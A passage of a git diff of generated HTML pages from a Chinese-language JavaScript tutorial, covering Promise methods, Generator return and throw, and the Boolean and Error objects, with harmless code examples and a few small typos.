                                                                        getPromise(2, 1000, true), // 1s (rejects)
                                                                        ]);
                                                                        -
                                                                        console.time('settled-in');
                                                                        -
                                                                        fastestPromise
                                                                        .then((value) => {
                                                                        console.log('Fulfilled:', value);
                                                                        })
                                                                        .catch((err) => {
                                                                        console.log('Rejected:', err);
                                                                        })
                                                                        .finally(() => {
                                                                        console.timeEnd('settled-in');
                                                                        });

                                                                        参考资料

                                                                        +

                                                                        JavaScript Guidebook

                                                                        JavaScript 完全知识体系

                                                                        Promise.race

                                                                        Promise.race 接收一个可迭代对象作为参数,当某个成员 Promise 状态变更后(无论是 Fulfilled 状态还是 Rejected 状态),立即调用指定的函数。

                                                                        语法

                                                                        语法:

                                                                        Promise.race(iterator);

                                                                        类型声明:

                                                                        interface PromiseConstructor {
                                                                        race<T>(values: readonly T[]): Promse<T extends PromiseLike<infer U> ? U : T>;
                                                                        }
                                                                        +
                                                                        interface PromiseLike<T> {
                                                                        then<TResult1 = T, TResult2 = never>(
                                                                        onfulfilled?: ((value: T) => TResult1 | PromiseLike<TResult1>) | undefined | null,
                                                                        onrejected?: ((reason: any) => TResult2 | PromiseLike<TResult2>) | undefined | null
                                                                        ): PromiseLike<TResult1 | TResult2>;
                                                                        }

                                                                        参数说明:

                                                                        参数说明类型
                                                                        iterator可迭代对象,例如数组Iterator

                                                                        • Promise.all 相似,Promise.raceiterator 参数必须是 Iterator
                                                                        • 只要参数 iterator 的其中某个 Promise 实例成员的状态变更,那么 Promise.race 会立即返回一个新创建的 Promise 实例,并将返回值传递给回调函数
                                                                        • Promise.race 方法的参数与 Promise.all 方法一样,如果不是 Promise 实例,就会先调用 Promise.resolve 方法,将参数转为 Promise 实例,再进一步处理。

                                                                        代码示例

                                                                        const getPromise = (value: number, delay: number, fail: boolean): Promise<number> => {
                                                                        return new Promise<number>((resolve, reject) => {
                                                                        setTimeout(() => (fail ? reject(value) : resolve(value)), delay);
                                                                        });
                                                                        };
                                                                        +
                                                                        const fastestPromise = Promise.race<number>([
                                                                        getPromise(0, 500, false), // 0.5s
                                                                        getPromise(1, 2000, false), // 2s
                                                                        getPromise(2, 1000, true), // 1s (rejects)
                                                                        ]);
                                                                        +
                                                                        console.time('settled-in');
                                                                        +
                                                                        fastestPromise
                                                                        .then((value) => {
                                                                        console.log('Fulfilled:', value);
                                                                        })
                                                                        .catch((err) => {
                                                                        console.log('Rejected:', err);
                                                                        })
                                                                        .finally(() => {
                                                                        console.timeEnd('settled-in');
                                                                        });

                                                                        参考资料

                                                                        - + diff --git a/standard-built-in-objects/control-abstraction-objects/reject/index.html b/standard-built-in-objects/control-abstraction-objects/reject/index.html index a8cd328d4..b8c8bf91f 100644 --- a/standard-built-in-objects/control-abstraction-objects/reject/index.html +++ b/standard-built-in-objects/control-abstraction-objects/reject/index.html @@ -7,35 +7,38 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Promise.reject - JavaScript Guidebook -

                                                                        JavaScript Guidebook

                                                                        JavaScript 完全知识体系

                                                                        Promise.reject

                                                                        Promise.reject(reason) 方法返回一个带有 Rejected 原因的 Promise 对象。

                                                                        语法

                                                                        语法:

                                                                        Promise.reject(reason);

                                                                        类型声明:

                                                                        interface PromiseConstructor {
                                                                        reject<T = never>(reason?: any): Promise<T>;
                                                                        }

                                                                        参数说明:

                                                                        参数说明类型
                                                                        reason表示 Promise 被 Rejected 的原因any

                                                                        方法描述

                                                                        Promise.reject(reason) 方法也会返回一个新的 Promise 实例,该实例的状态为 Rejected。

                                                                        const promise = Promise.reject('Error');
                                                                        // 等同于
                                                                        const promise = new Promise((resolve, reject) => reject('Error'));
                                                                        +

                                                                        JavaScript Guidebook

                                                                        JavaScript 完全知识体系

                                                                        Promise.reject

                                                                        Promise.reject(reason) 方法返回一个带有 Rejected 原因的 Promise 对象。

                                                                        语法

                                                                        语法:

                                                                        Promise.reject(reason);

                                                                        类型声明:

                                                                        interface PromiseConstructor {
                                                                        reject<T = never>(reason?: any): Promise<T>;
                                                                        }

                                                                        参数说明:

                                                                        参数说明类型
                                                                        reason表示 Promise 被 Rejected 的原因any

                                                                        方法描述

                                                                        Promise.reject(reason) 方法也会返回一个新的 Promise 实例,该实例的状态为 Rejected。

                                                                        const promise = Promise.reject('Error');
                                                                        // 等同于
                                                                        const promise = new Promise((resolve, reject) => reject('Error'));
                                                                        promise.then(null, function (s) {
                                                                        console.log(s);
                                                                        });

                                                                        注意:Promise.reject() 方法的参数,会原封不动地作为变更为 Rrejected 的理由,变成后续方法的参数。这一点与 Promise.resolve 方法不一致。

                                                                        const thenable = {
                                                                        then(resolve, reject) {
                                                                        reject('Error');
                                                                        },
                                                                        };
                                                                        -
                                                                        Promise.reject(thenable).catch((e) => {
                                                                        console.log(e === thenable); // true
                                                                        });

                                                                        上面代码中,Promise.reject 方法的参数是一个 thenable 对象,执行以后,后面 catch 方法的参数不是 reject 抛出的 Error 这个字符串,而是 thenable 对象。

                                                                        代码示例

                                                                        这段代码的功能是调用该 Promise 对象通过 .then() 指定的  onRejected  函数,并将错误(Error)对象传递给这个 onRejected  函数。

                                                                        Promise.reject(new Error('BOOM!')).catch(function (error) {
                                                                        console.error(error);
                                                                        });
                                                                        +
                                                                        Promise.reject(thenable).catch((e) => {
                                                                        console.log(e === thenable); // true
                                                                        });

                                                                        上面代码中,Promise.reject 方法的参数是一个 thenable 对象,执行以后,后面 catch 方法的参数不是 reject 抛出的 Error 这个字符串,而是 thenable 对象。

                                                                        代码示例

                                                                        这段代码的功能是调用该 Promise 对象通过 .then() 指定的  onRejected  函数,并将错误(Error)对象传递给这个 onRejected  函数。

                                                                        Promise.reject(new Error('BOOM!')).catch(function (error) {
                                                                        console.error(error);
                                                                        });
                                                                        - + diff --git a/standard-built-in-objects/control-abstraction-objects/resolve/index.html b/standard-built-in-objects/control-abstraction-objects/resolve/index.html index e7e6708e4..a3ef9c2fb 100644 --- a/standard-built-in-objects/control-abstraction-objects/resolve/index.html +++ b/standard-built-in-objects/control-abstraction-objects/resolve/index.html @@ -7,29 +7,32 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Promise.resolve - JavaScript Guidebook -

                                                                        JavaScript Guidebook

                                                                        JavaScript 完全知识体系

                                                                        Promise.resolve

                                                                        Promise.resolve() 方法返回一个以给定值解析后的 Promise 对象。

                                                                        语法

                                                                        语法:

                                                                        Promise.resolve(value);

                                                                        类型声明:

                                                                        interface PromiseConstructor {
                                                                        resolve(): Promise<void>;
                                                                        -
                                                                        resolve<T>(value: T | PromiseLike<T>): Promise<T>;
                                                                        }

                                                                        参数说明:

                                                                        参数说明类型
                                                                        value见下方any

                                                                        根据传入参数的不同,会有不同的响应效果。

                                                                        • Promise 实例:返回传入的 Promise 实例
                                                                        • Thenable 对象:将该 Thenable 对象转化为 Promise 对象,然后立即执行 .then() 方法
                                                                        • 非 Thenable 对象:返回新的 Fulfilled 状态的 Promise 实例
                                                                        • 不带参数:返回新的 Fulfilled 状态的 Promise 实例

                                                                        Promise 实例

                                                                        如果参数是 Promise 实例,那么 Promise.resolve 将不做任何修改、原封不动地返回这个实例。

                                                                        Thenable 对象

                                                                        thenable 对象指的是具有 then 方法的对象,比如下面这个对象。

                                                                        let thenable = {
                                                                        then: (resolve, reject) => resolve(100),
                                                                        };

                                                                        Promise.resolve 方法会将这个对象转为 Promise 对象,然后就立即执行 thenable 对象的 .then() 方法。

                                                                        let thenable = {
                                                                        then: (resolve, reject) => resolve(100),
                                                                        };
                                                                        +

                                                                        JavaScript Guidebook

                                                                        JavaScript 完全知识体系

                                                                        Promise.resolve

                                                                        Promise.resolve() 方法返回一个以给定值解析后的 Promise 对象。

                                                                        语法

                                                                        语法:

                                                                        Promise.resolve(value);

                                                                        类型声明:

                                                                        interface PromiseConstructor {
                                                                        resolve(): Promise<void>;
                                                                        +
                                                                        resolve<T>(value: T | PromiseLike<T>): Promise<T>;
                                                                        }

                                                                        参数说明:

                                                                        参数说明类型
                                                                        value见下方any

                                                                        根据传入参数的不同,会有不同的响应效果。

                                                                        • Promise 实例:返回传入的 Promise 实例
                                                                        • Thenable 对象:将该 Thenable 对象转化为 Promise 对象,然后立即执行 .then() 方法
                                                                        • 非 Thenable 对象:返回新的 Fulfilled 状态的 Promise 实例
                                                                        • 不带参数:返回新的 Fulfilled 状态的 Promise 实例

                                                                        Promise 实例

                                                                        如果参数是 Promise 实例,那么 Promise.resolve 将不做任何修改、原封不动地返回这个实例。

                                                                        Thenable 对象

                                                                        thenable 对象指的是具有 then 方法的对象,比如下面这个对象。

                                                                        let thenable = {
                                                                        then: (resolve, reject) => resolve(100),
                                                                        };

                                                                        Promise.resolve 方法会将这个对象转为 Promise 对象,然后就立即执行 thenable 对象的 .then() 方法。

                                                                        let thenable = {
                                                                        then: (resolve, reject) => resolve(100),
                                                                        };
                                                                        let promise = Promise.resolve(thenable);
                                                                        promise.then((value) => console.log(value)); // 100

                                                                        上述代码中,当 thenable 对象的 then 方法执行后,对象 promise 的状态就变为 Fulfilled,从而立即执行最后那个 .then() 方法指定的回调函数。

                                                                        非 Thenable 对象

                                                                        如果参数是一个原始值,或者是一个不具有 then 方法的对象,则 Promise.resolve 方法返回一个新的 Promise 对象,状态为 Fulfilled。

                                                                        const promise = Promise.resolve('Hello');
                                                                        promise.then((v) => console.log(v));
                                                                        // 'Hello'

                                                                        由于传入 Promise.resolve 方法的参数非具有 then 方法的对象,因此判断该参数不属于异步操作,返回状态为 Resolve 的 Promise 实例,并且立即执行回调函数。Promise.resolve 方法的参数,会同时传给回调函数。

                                                                        不带参数

                                                                        Promise.resolve 方法允许调用时不带参数,直接返回一个 Fulfilled 状态的 Promise 对象。

                                                                        如果希望得到一个 Promise 对象,比较方便的方法就是直接调用 Promise.resolve 方法。

                                                                        需要注意的是,状态为 Fulfilled 的 Promise 对象,是在本轮 事件循环(Event Loop)的结束时,而不是在下一轮事件循环的开始时。

                                                                        代码示例

                                                                        基本用法

                                                                        Promise.resolve(value) 可以认为是 new Promise() 的快捷方式。返回的 Promise 对象将立即进入 Fulfilled 状态。

                                                                        Promise.resolve('Fulfilled').then(
                                                                        (res) => {
                                                                        console.log(res); // 'Fulfilled'
                                                                        },
                                                                        (rej) => {
                                                                        console.log(rej); // 不会调用
                                                                        }
                                                                        );

                                                                        数组作参数

                                                                        如果传入的参数为数组,则参数为非 Thenable 对象,会返回新的 Fulfilled 状态的 Promise 实例。

                                                                        const promise = Promise.resolve([0, 1, 2]);
                                                                        @@ -37,12 +40,12 @@
                                                                        const bar = Promise.resolve(foo);
                                                                        bar.then((value) => {
                                                                        console.log(value);
                                                                        // 2. 输出: 'foo'
                                                                        });
                                                                        console.log(foo === bar);
                                                                        // 1. 输出: true
                                                                        -
                                                                        // 这里有同步异步先后执行的区别

                                                                        参考资料

                                                                        +
                                                                        // 这里有同步异步先后执行的区别

                                                                        参考资料

                                                                        - + diff --git a/standard-built-in-objects/control-abstraction-objects/return/index.html b/standard-built-in-objects/control-abstraction-objects/return/index.html index 44a0c2173..6e854cf81 100644 --- a/standard-built-in-objects/control-abstraction-objects/return/index.html +++ b/standard-built-in-objects/control-abstraction-objects/return/index.html @@ -7,37 +7,40 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Generator.prototype.return - JavaScript Guidebook -

                                                                        JavaScript Guidebook

                                                                        JavaScript 完全知识体系

                                                                          Generator.prototype.return

                                                                          Generator 函数返回的遍历器对象,还有一个 return 方法,可以返回给定的值,并且终结遍历 Generator 函数。

                                                                          function* gen() {
                                                                          yield 1;
                                                                          yield 2;
                                                                          yield 3;
                                                                          }
                                                                          +

                                                                          JavaScript Guidebook

                                                                          JavaScript 完全知识体系

                                                                            Generator.prototype.return

                                                                            Generator 函数返回的遍历器对象,还有一个 return 方法,可以返回给定的值,并且终结遍历 Generator 函数。

                                                                            function* gen() {
                                                                            yield 1;
                                                                            yield 2;
                                                                            yield 3;
                                                                            }
                                                                            const generator = gen();
                                                                            generator.next() // { value: 1, done: false }
                                                                            generator.return('foo') // { value: "foo", done: true }
                                                                            generator.next() // { value: undefined, done: true }

                                                                            上面代码中,遍历器对象 generator 调用 return 方法后,返回值的 value 属性就是 return 方法的参数 foo。并且,Generator 函数的遍历就终止了,返回值的 done 属性为 true,以后再调用 next 方法,done 属性总是返回 true

                                                                            如果 return 方法调用时,不提供参数,则返回值的 value 属性为 undefined

                                                                            function* gen() {
                                                                            yield 1;
                                                                            yield 2;
                                                                            yield 3;
                                                                            }
                                                                            var generator = gen();
                                                                            -
                                                                            generator.next() // { value: 1, done: false }
                                                                            generator.return() // { value: undefined, done: true }

                                                                            如果 Generator 函数内部有 try...finally 代码块,且正在执行 try 代码块,那么 return 方法会推迟到 finally 代码块执行完再执行。

                                                                            function* numbers () {
                                                                            yield 1;
                                                                            try {
                                                                            yield 2;
                                                                            yield 3;
                                                                            } finally {
                                                                            yield 4;
                                                                            yield 5;
                                                                            }
                                                                            yield 6;
                                                                            }
                                                                            var generator = numbers();
                                                                            generator.next() // { value: 1, done: false }
                                                                            generator.next() // { value: 2, done: false }
                                                                            generator.return(7) // { value: 4, done: false }
                                                                            generator.next() // { value: 5, done: false }
                                                                            generator.next() // { value: 7, done: true }

                                                                            上面代码中,调用 return 方法后,就开始执行 finally 代码块,然后等到 finally 代码块执行完,再执行 return 方法。


                                                                            参考书籍:

                                                                            +
                                                                            generator.next() // { value: 1, done: false }
                                                                            generator.return() // { value: undefined, done: true }

                                                                            如果 Generator 函数内部有 try...finally 代码块,且正在执行 try 代码块,那么 return 方法会推迟到 finally 代码块执行完再执行。

                                                                            function* numbers () {
                                                                            yield 1;
                                                                            try {
                                                                            yield 2;
                                                                            yield 3;
                                                                            } finally {
                                                                            yield 4;
                                                                            yield 5;
                                                                            }
                                                                            yield 6;
                                                                            }
                                                                            var generator = numbers();
                                                                            generator.next() // { value: 1, done: false }
                                                                            generator.next() // { value: 2, done: false }
                                                                            generator.return(7) // { value: 4, done: false }
                                                                            generator.next() // { value: 5, done: false }
                                                                            generator.next() // { value: 7, done: true }

                                                                            上面代码中,调用 return 方法后,就开始执行 finally 代码块,然后等到 finally 代码块执行完,再执行 return 方法。


                                                                            参考书籍:

                                                                            - + diff --git a/standard-built-in-objects/control-abstraction-objects/then/index.html b/standard-built-in-objects/control-abstraction-objects/then/index.html index 72187dcfa..41468ebc8 100644 --- a/standard-built-in-objects/control-abstraction-objects/then/index.html +++ b/standard-built-in-objects/control-abstraction-objects/then/index.html @@ -7,38 +7,41 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Promise.prototype.then - JavaScript Guidebook -

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Promise.prototype.then

                                                                            Promise.prototype.then() 用于 Promise 实例添加状态改变时执行的函数。

                                                                            语法

                                                                            语法:

                                                                            promiseInstance.then(onfulfilled, onrejected);

                                                                            类型声明:

                                                                            interface Promise<T> {
                                                                            then<TResult1 = T, TResult2 = never>(
                                                                            onfulfilled?: ((value: T) => TResult1 | PromiseLike<TResult1>) | undefined | null,
                                                                            onrejected?: ((reason: any) => TResult2 | PromiseLike<TResult2>) | undefined | null
                                                                            ): Promise<TResult1 | TResult2>;
                                                                            }

                                                                            参数说明:

                                                                            参数说明
                                                                            onfulfilled当 Promise 变成 Fulfilled 状态时,该参数作为回调函数被调用。
                                                                            该函数有一个参数,即接受的最终结果。如果传入 onfulfilled 作为参数的参数类型不是函数,则会被内部转换为 (x) => x,即原样返回 Promise 最终结果的函数。
                                                                            onrejected当 Promise 变成 Rejected 状态时,该参数作为回调函数被调用。
                                                                            该函数有一个参数,即拒绝的原因。

                                                                            代码示例

                                                                            基本用法

                                                                            const promise = new Promise((resolve, reject) => {
                                                                            resolve('Fulfilled');
                                                                            });
                                                                            +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Promise.prototype.then

                                                                            Promise.prototype.then() 用于 Promise 实例添加状态改变时执行的函数。

                                                                            语法

                                                                            语法:

                                                                            promiseInstance.then(onfulfilled, onrejected);

                                                                            类型声明:

                                                                            interface Promise<T> {
                                                                            then<TResult1 = T, TResult2 = never>(
                                                                            onfulfilled?: ((value: T) => TResult1 | PromiseLike<TResult1>) | undefined | null,
                                                                            onrejected?: ((reason: any) => TResult2 | PromiseLike<TResult2>) | undefined | null
                                                                            ): Promise<TResult1 | TResult2>;
                                                                            }

                                                                            参数说明:

                                                                            参数说明
                                                                            onfulfilled当 Promise 变成 Fulfilled 状态时,该参数作为回调函数被调用。
                                                                            该函数有一个参数,即接受的最终结果。如果传入 onfulfilled 作为参数的参数类型不是函数,则会被内部转换为 (x) => x,即原样返回 Promise 最终结果的函数。
                                                                            onrejected当 Promise 变成 Rejected 状态时,该参数作为回调函数被调用。
                                                                            该函数有一个参数,即拒绝的原因。

                                                                            代码示例

                                                                            基本用法

                                                                            const promise = new Promise((resolve, reject) => {
                                                                            resolve('Fulfilled');
                                                                            });
                                                                            promise.then(
                                                                            (res) => console.log(res), // Output: 'Fulfilled'
                                                                            (rej) => console.log(rej)
                                                                            );

                                                                            链式调用

                                                                            采用链式调用的 .then(),可以指定一组按照次序调用的回调函数。这时,前一个回调函数,有可能返回的还是一个 Promise 对象(即有异步操作),这时后面紧跟的回调函数,就会等待该 Promise 对象的状态发生变化,才会被调用。

                                                                            getJSON('/post/1.json')
                                                                            .then((post) => getJSON(post.commentURL))
                                                                            .then(
                                                                            (comments) => console.log('resolved: ', comments),
                                                                            (err) => console.log('rejected: ', err)
                                                                            );

                                                                            参数传递

                                                                            链式调用中,一个 .then() 执行完成后返回新创建的 Promise 对象,并继续执行下一个 .then() 方法,当上一个 .then() 需要传递参数到下一个参数时,可以这样操作。

                                                                            // Example
                                                                            function foo(value) {
                                                                            return value * 2;
                                                                            }
                                                                            function bar(value) {
                                                                            return value + 5;
                                                                            }
                                                                            function baz(value) {
                                                                            console.log(value);
                                                                            }
                                                                            const promise = Promise.resolve(1);
                                                                            -
                                                                            promise
                                                                            .then(foo)
                                                                            .then(bar)
                                                                            .then(baz)
                                                                            .catch((error) => console.log(err));

                                                                            执行流程分析:

                                                                            1. 这段代码的入口函数是 Promise.resolve(1)
                                                                            2. Promise.resolve(1) 传递参数 1foo 函数
                                                                            3. 函数 foo 对接收的参数进行操作并返回
                                                                            4. 这时参数为 2 传递给函数 bar
                                                                            5. 最后在函数 baz 中打印结果 7

                                                                            每个方法中 return 的值不仅只局限于字符串或者数值类型,也可以是对象或者 Promise 对象等复杂类型。

                                                                            return 的值会由 Promise.resolve 进行相应的包装处理,因此不管回调函数中会返回一个什么样的值,最终 .then() 的结果都是返回一个新创建的 Promise 对象。

                                                                            +
                                                                            promise
                                                                            .then(foo)
                                                                            .then(bar)
                                                                            .then(baz)
                                                                            .catch((error) => console.log(err));

                                                                            执行流程分析:

                                                                            1. 这段代码的入口函数是 Promise.resolve(1)
                                                                            2. Promise.resolve(1) 传递参数 1foo 函数
                                                                            3. 函数 foo 对接收的参数进行操作并返回
                                                                            4. 这时参数为 2 传递给函数 bar
                                                                            5. 最后在函数 baz 中打印结果 7

                                                                            每个方法中 return 的值不仅只局限于字符串或者数值类型,也可以是对象或者 Promise 对象等复杂类型。

                                                                            return 的值会由 Promise.resolve 进行相应的包装处理,因此不管回调函数中会返回一个什么样的值,最终 .then() 的结果都是返回一个新创建的 Promise 对象。

                                                                            - + diff --git a/standard-built-in-objects/control-abstraction-objects/throw/index.html b/standard-built-in-objects/control-abstraction-objects/throw/index.html index ed0586b8a..70dad1e0b 100644 --- a/standard-built-in-objects/control-abstraction-objects/throw/index.html +++ b/standard-built-in-objects/control-abstraction-objects/throw/index.html @@ -7,28 +7,31 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Generator.prototype.throw - JavaScript Guidebook -

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Generator.prototype.throw

                                                                            Generator 函数返回的遍历器对象,都有一个 throw 方法,可以在函数体外抛出错误,然后在 Generator 函数体内捕获

                                                                            const geratorgenerator = function* () {
                                                                            try {
                                                                            yield;
                                                                            } catch (e) {
                                                                            console.log('内部捕获', e);
                                                                            }
                                                                            };
                                                                            +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Generator.prototype.throw

                                                                            Generator 函数返回的遍历器对象,都有一个 throw 方法,可以在函数体外抛出错误,然后在 Generator 函数体内捕获

                                                                            const geratorgenerator = function* () {
                                                                            try {
                                                                            yield;
                                                                            } catch (e) {
                                                                            console.log('内部捕获', e);
                                                                            }
                                                                            };
                                                                            const iterator = generator();
                                                                            iterator.next();
                                                                            try {
                                                                            iterator.throw('a');
                                                                            iterator.throw('b');
                                                                            } catch (e) {
                                                                            console.log('外部捕获', e);
                                                                            }
                                                                            // 内部捕获 a
                                                                            // 外部捕获 b

                                                                            上面代码中,遍历器对象 iterator 连续抛出两个错误。

                                                                            • 第一个错误被 Generator 函数体内的 catch 语句捕获。

                                                                            • iterator 第二次抛出错误,由于 Generator 函数内部的 catch 语句已经执行过了,不会再捕捉到这个错误了,所以这个错误就被抛出了 Generator 函数体,被函数体外的 catch 语句捕获。

                                                                            可接收参数

                                                                            💡 throw 方法可以接受一个参数,该参数会被 catch 语句接收,建议抛出 Error 对象的实例。

                                                                            const generator = function* () {
                                                                            try {
                                                                            yield;
                                                                            } catch (e) {
                                                                            console.log(e);
                                                                            }
                                                                            };
                                                                            @@ -56,12 +59,12 @@
                                                                            it.next(); // { value:3, done:false }
                                                                            try {
                                                                            it.next(42);
                                                                            } catch (err) {
                                                                            console.log(err);
                                                                            }

                                                                            上面代码中,第二个 next 方法向函数体内传入一个参数 42,数值是没有 toUpperCase 方法的,所以会抛出一个 TypeError 错误,被函数体外的 catch 捕获。

                                                                            一旦 Generator 执行过程中抛出错误,且没有被内部捕获,就不会再执行下去了。如果此后还调用 next 方法,将返回一个 value 属性等于 undefineddone 属性等于 true 的对象,即 JavaScript 引擎认为这个 Generator 已经运行结束了。

                                                                            function* g() {
                                                                            yield 1;
                                                                            console.log('throwing an exception');
                                                                            throw new Error('generator broke!');
                                                                            yield 2;
                                                                            yield 3;
                                                                            }
                                                                            function log(generator) {
                                                                            var v;
                                                                            console.log('starting generator');
                                                                            try {
                                                                            v = generator.next();
                                                                            console.log('第一次运行next方法', v);
                                                                            } catch (err) {
                                                                            console.log('捕捉错误', v);
                                                                            }
                                                                            try {
                                                                            v = generator.next();
                                                                            console.log('第二次运行next方法', v);
                                                                            } catch (err) {
                                                                            console.log('捕捉错误', v);
                                                                            }
                                                                            try {
                                                                            v = generator.next();
                                                                            console.log('第三次运行next方法', v);
                                                                            } catch (err) {
                                                                            console.log('捕捉错误', v);
                                                                            }
                                                                            console.log('caller done');
                                                                            }
                                                                            -
                                                                            log(g());
                                                                            // starting generator
                                                                            // 第一次运行next方法 { value: 1, done: false }
                                                                            // throwing an exception
                                                                            // 捕捉错误 { value: 1, done: false }
                                                                            // 第三次运行next方法 { value: undefined, done: true }
                                                                            // caller done

                                                                            上面代码一共三次运行 next 方法,第二次运行的时候会抛出错误,然后第三次运行的时候,Generator 函数就已经结束了,不再执行下去了。


                                                                            参考书籍:

                                                                            +
                                                                            log(g());
                                                                            // starting generator
                                                                            // 第一次运行next方法 { value: 1, done: false }
                                                                            // throwing an exception
                                                                            // 捕捉错误 { value: 1, done: false }
                                                                            // 第三次运行next方法 { value: undefined, done: true }
                                                                            // caller done

                                                                            上面代码一共三次运行 next 方法,第二次运行的时候会抛出错误,然后第三次运行的时候,Generator 函数就已经结束了,不再执行下去了。


                                                                            参考书籍:

                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/boolean/index.html b/standard-built-in-objects/fundamental-objects/boolean/index.html index 7400e6599..7a59e3bb1 100644 --- a/standard-built-in-objects/fundamental-objects/boolean/index.html +++ b/standard-built-in-objects/fundamental-objects/boolean/index.html @@ -7,35 +7,38 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Boolean - JavaScript Guidebook -

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Boolean 对象

                                                                            Boolean 内置对象是一个布尔值的对象包装器,表示两个值 truefalse

                                                                            语法

                                                                            构造函数

                                                                            new Boolean(value);

                                                                            布尔类型转换函数

                                                                            Boolean(value);
                                                                            参数说明类型
                                                                            value可选参数。将由布尔对象存放的值或者要转换成布尔值的值any
                                                                            • 当作为一个构造函数(带有运算符 new)调用时,Boolean() 将把它的参数转换成一个布尔值,并且返回一个包含该值的 Boolean 对象。
                                                                            • 如果作为一个函数(不带有运算符 new)调用时,Boolean() 只将把它的参数转换成一个原始的布尔值,并且返回这个值。

                                                                            描述

                                                                            • 若 Boolean 构造函数的参数不是一个布尔值,则该参数会被转换成一个布尔值
                                                                            • 若参数是 0-0nullfalseNaNundefined 或者 空字符串("") 生成的 Boolean 对象的值为 false。其他任何值,包括任何对象或者字符串 "false", 都会创建一个值为 true 的 Boolean 对象。
                                                                            • 不要将原始值 truefalse,和值为 truefalse 的 Boolean 对象相混淆。
                                                                            • 任何值不为 undefined 或者 null 的对象,包括值为 false 的 Boolean 对象,在条件语句中,其值都将作为 true 来判断。
                                                                            const foo = new Boolean(false);
                                                                            +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Boolean 对象

                                                                            Boolean 内置对象是一个布尔值的对象包装器,表示两个值 truefalse

                                                                            语法

                                                                            构造函数

                                                                            new Boolean(value);

                                                                            布尔类型转换函数

                                                                            Boolean(value);
                                                                            参数说明类型
                                                                            value可选参数。将由布尔对象存放的值或者要转换成布尔值的值any
                                                                            • 当作为一个构造函数(带有运算符 new)调用时,Boolean() 将把它的参数转换成一个布尔值,并且返回一个包含该值的 Boolean 对象。
                                                                            • 如果作为一个函数(不带有运算符 new)调用时,Boolean() 只将把它的参数转换成一个原始的布尔值,并且返回这个值。

                                                                            描述

                                                                            • 若 Boolean 构造函数的参数不是一个布尔值,则该参数会被转换成一个布尔值
                                                                            • 若参数是 0-0nullfalseNaNundefined 或者 空字符串("") 生成的 Boolean 对象的值为 false。其他任何值,包括任何对象或者字符串 "false", 都会创建一个值为 true 的 Boolean 对象。
                                                                            • 不要将原始值 truefalse,和值为 truefalse 的 Boolean 对象相混淆。
                                                                            • 任何值不为 undefined 或者 null 的对象,包括值为 false 的 Boolean 对象,在条件语句中,其值都将作为 true 来判断。
                                                                            const foo = new Boolean(false);
                                                                            if (foo) {
                                                                            // ...still works
                                                                            }

                                                                            基本类型的布尔值(Boolean 的原始值)则不受此规则影响

                                                                            var foo = false;
                                                                            if (foo) {
                                                                            // ...not works
                                                                            }

                                                                            不要通过新建 Boolean 对象的方法将一个非布尔值转化成布尔值,可直接使用 Boolean 函数才是正确的。

                                                                            // Bad
                                                                            var bad = new Boolean(expression);
                                                                            -
                                                                            // Good
                                                                            var good = Boolean(expression);

                                                                            示例

                                                                            创建值为 false 的 Boolean 对象

                                                                            // no param
                                                                            var bNoParam = Boolean();
                                                                            // 0
                                                                            var bZero = Boolean(0);
                                                                            // null
                                                                            var bNull = Boolean(null);
                                                                            // ''
                                                                            var bEmptyString = Boolean('');
                                                                            // undefined
                                                                            var bUndefined = Boolean(undefined);
                                                                            // false
                                                                            var bfalse = Boolean(false);

                                                                            创建值为 true 的 Boolean 对象

                                                                            // true
                                                                            var btrue = Boolean(true);
                                                                            // string true
                                                                            var btrueString = Boolean('true');
                                                                            // string false
                                                                            var bfalseString = Boolean('false');
                                                                            // string
                                                                            var bSuLin = Boolean('Su Lin');
                                                                            // array
                                                                            var bArrayProto = new Boolean([]);
                                                                            // object
                                                                            var bObjProto = new Boolean({});
                                                                            +
                                                                            // Good
                                                                            var good = Boolean(expression);

                                                                            示例

                                                                            创建值为 false 的 Boolean 对象

                                                                            // no param
                                                                            var bNoParam = Boolean();
                                                                            // 0
                                                                            var bZero = Boolean(0);
                                                                            // null
                                                                            var bNull = Boolean(null);
                                                                            // ''
                                                                            var bEmptyString = Boolean('');
                                                                            // undefined
                                                                            var bUndefined = Boolean(undefined);
                                                                            // false
                                                                            var bfalse = Boolean(false);

                                                                            创建值为 true 的 Boolean 对象

                                                                            // true
                                                                            var btrue = Boolean(true);
                                                                            // string true
                                                                            var btrueString = Boolean('true');
                                                                            // string false
                                                                            var bfalseString = Boolean('false');
                                                                            // string
                                                                            var bSuLin = Boolean('Su Lin');
                                                                            // array
                                                                            var bArrayProto = new Boolean([]);
                                                                            // object
                                                                            var bObjProto = new Boolean({});
                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/error/index.html b/standard-built-in-objects/fundamental-objects/error/index.html index c1006c8a7..81f3eff16 100644 --- a/standard-built-in-objects/fundamental-objects/error/index.html +++ b/standard-built-in-objects/fundamental-objects/error/index.html @@ -7,34 +7,37 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Error - JavaScript Guidebook -

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Error 对象

                                                                            Error 内置对象用于创建一个异常对象,当运行时产生异常,Error 的实例对象会被抛出。Error 对象也可用于用户自定义的异常的基础对象。

                                                                            语法

                                                                            new Error([ message ][, fileName[, lineNumber]])
                                                                            参数说明类型
                                                                            message可选参数。错误描述信息string
                                                                            fileName可选参数。默认是调用 Error 构造器代码所在的文件的名字string
                                                                            lineNumber可选参数。默认是调用 Error 构造器代码所在文件的行号number

                                                                            类型

                                                                            除了通用的 Error 构造函数外,还有 6 个其他类型的异常构造函数。

